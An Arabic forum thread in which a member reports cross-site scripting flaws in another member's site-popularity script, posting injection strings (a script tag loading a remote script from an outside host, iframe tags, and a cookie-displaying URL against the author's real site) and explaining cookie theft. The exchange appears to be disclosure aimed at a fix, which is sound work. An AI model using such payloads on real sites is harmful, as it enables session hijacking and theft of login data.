الصراحة سكربت جميل جدا بس !!!!!!!!!!!!!!!!
جرب ادخل هذا الكود
<script src=http://zuwara.com/forum/script.php></script>
او هذا الكود
<iframe src=http://google.com>
اوهذا الكود
<iframe src=\"http://google.com\">
فيه سكربت يضيع شهرة الموقع
الصراحة سكربت جميل جدا بس !!!!!!!!!!!!!!!!
جرب ادخل هذا الكود
<script src=http://zuwara.com/forum/script.php></script>
او هذا الكود
<iframe src=http://google.com>
اوهذا الكود
<iframe src=\"http://google.com\">
فيه سكربت يضيع شهرة الموقع
we_lol
؟؟ لا أفهم ماذا تقصد بهذه الأكواد
أرجو التوضيح
__________________
Amr Elmogy
www.shababvb.com
Success is not everything, but the desire for success is everything.
بدل ان تضع عنوان موقع لتعرف ماشهرتهwe_lol
؟؟ لا أفهم ماذا تقصد بهذه الأكواد
أرجو التوضيح
ضع احد هذه الاكواد وشاهد شهرتها
القصد :هذه تغرات في هذا السكربت ارجو علاجها
السكربت جميل جدا وفي انتظار التصحيح
اعتقد ان عتد عرض العنوان يجب قلترته من الوسوم ؟
we_lol
لا أعتقد بأن هذه الأكواد لها خطورة لأنها لن تتم طباعتها كما فى المحررات.
والنتائج التى يظهرها الإسكريبت كلها من مواقع أخرى أى أن الأكواد لن تقوم بعمل Flood على الموقع
بإنتظار ردك
__________________
Amr Elmogy
www.shababvb.com
Success is not everything, but the desire for success is everything.
هذه ثغرات من نوع cross site script
ويرمز لها بـ xss وهي تقوم بتحويل بيانات الكوكيز من المتصفح الى المخترق وتكون خطيرة في خالة كون بيانات الكوكيز تحتوي على يوزر نيم وباس ورد
وتطبيقاتها كتيرة خاصة على المنتديات
هذه الوصلة تجربة بسيطة تقوم باستعمال السكربت الشهرة الذي ذكرت لمعرفة الكوكيز
فلو هناك كوكيز من موقع shababvb.com مخزن على جهازك فسيقوم بعرضه
لن يقوم بنقله لي
http://www.shababvb.com/pr/?url=<scr...kie);</script>
ارجو ان تكون الفكرة واضحة
we_lol
شكراً للتوضيح
و إعذرنى فخبرتى ضعيفة فى موضوع الثغرات عموماً
ولكن لكى يسحب المخترق الكوكيز من جهازى يتطلب ذلك الضغط على الرابط ؟على ما أعتقد
وكما تعلم فإن هناك روابط كثيرة ملغومة على الإنترنت
أى أن ما أقصده أنه مثل أى رابط ملغوم موجود على النت
ولكن إذا كان يستطيع سحب الكوكيز منى بدون أن أضغط على الرابط فهنا تكمن الخطورة ولا أعتقد أنه يمكن ذلك
أتمنى أن أكون أوصلت الفكرة ..
بإنتظار ردك (:
__________________
Amr Elmogy
www.shababvb.com
Success is not everything, but the desire for success is everything.